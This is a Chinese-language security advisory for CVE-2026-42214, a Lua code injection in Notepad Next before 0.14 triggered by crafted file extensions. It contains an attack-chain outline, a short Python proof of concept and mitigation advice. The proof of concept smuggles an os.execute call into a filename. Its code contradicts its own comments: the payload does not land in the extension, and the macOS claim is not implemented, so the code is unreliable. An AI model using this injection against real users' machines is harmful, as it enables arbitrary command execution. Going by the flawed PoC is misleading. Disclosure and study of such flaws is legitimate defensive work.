IPBUF安全漏洞报告
English
CVE-2026-42214 CVSS 7.8 高危

CVE-2026-42214 Notepad Next 任意代码执行漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-42214
漏洞类型
代码注入
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Notepad Next

相关标签

代码注入任意代码执行Notepad NextLua注入

漏洞概述

Notepad Next是一款跨平台的Notepad++重新实现版本。在0.14版本之前,该软件存在严重的安全漏洞。当用户打开特制的文件时,由于`detectLanguageFromExtension()`函数在处理文件扩展名时缺乏必要的清理和消毒,直接将扩展名拼接到Lua脚本中执行。攻击者可利用此特性在文件扩展名中植入恶意Lua代码。一旦受害者使用Notepad Next打开该文件,恶意代码将自动运行。由于程序无条件调用了`luaL_openlibs()`,攻击者可以利用完整的os、io和package库执行任意系统命令,导致系统完全被控制。

技术细节

该漏洞的根源在于Notepad Next的`detectLanguageFromExtension()`函数中存在Lua代码注入漏洞。在版本0.14之前,该函数负责根据文件扩展名检测语言,但在实现过程中,它直接对文件扩展名进行了字符串插值操作,将其拼接到Lua脚本字符串中,且未对输入进行任何过滤或转义。

攻击者可以通过构造一个特殊的文件名,将其扩展名部分替换为恶意的Lua代码片段。当受害者使用Notepad Next打开此文件时,应用会自动触发语言检测逻辑,导致嵌入在扩展名中的恶意Lua代码被解释器执行。

更为严重的是,Notepad Next在初始化Lua环境时无条件调用了`luaL_openlibs()`,这意味着注入的代码拥有对标准库的完全访问权限,包括`os`(操作系统)、`io`(输入输出)和`package`(包管理)库。攻击者利用这些库可以调用系统命令、读写本地文件甚至下载并执行额外的恶意载荷,从而实现本地权限下的任意代码执行。

攻击链分析

STEP 1
1. 武器化
攻击者构造一个特制的文件,文件名扩展名部分包含恶意的Lua代码(例如调用os.execute)。
STEP 2
2. 投递
攻击者将特制文件发送给目标受害者,通过邮件附件或其他文件传输方式。
STEP 3
3. 利用
受害者使用存在漏洞的Notepad Next(< 0.14)打开该文件。
STEP 4
4. 执行
Notepad Next在解析文件扩展名时,将恶意代码注入到Lua脚本中并执行,触发任意命令执行。
STEP 5
5. 达成目标
攻击者利用Lua的os和io库权限,在受害者系统上执行任意操作,如安装后门或窃取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os # Description: This script generates a file with a malicious extension. # When opened in Notepad Next < 0.14, the Lua code in the extension # is executed by the detectLanguageFromExtension() function. # The payload attempts to execute 'calc.exe' (Windows) or 'open -a Calculator' (macOS) # depending on the os library availability. payload = '"] os.execute("calc") -- ' # Construct a filename where the extension contains the Lua injection. # The extension logic in Notepad Next fails to sanitize this. # Original logic might look like: ext = ".. filename_ext .." # We break out of the string and inject commands. malicious_filename = f"innocent_file{payload}.txt" print(f"Creating malicious file: {malicious_filename}") with open(malicious_filename, "w") as f: f.write("This file contains a malicious Lua payload in its extension.") print("File created. Opening this in Notepad Next < 0.14 should trigger the exploit.")

影响范围

Notepad Next < 0.14

防御指南

临时缓解措施
用户应立即将Notepad Next升级至0.14或更高版本以修复此漏洞。如果暂时无法升级,应避免使用Notepad Next打开文件名可疑或来自不可信来源的文件,并在操作系统中限制Notepad Next的权限(如沙箱运行)以减少潜在损失。

参考链接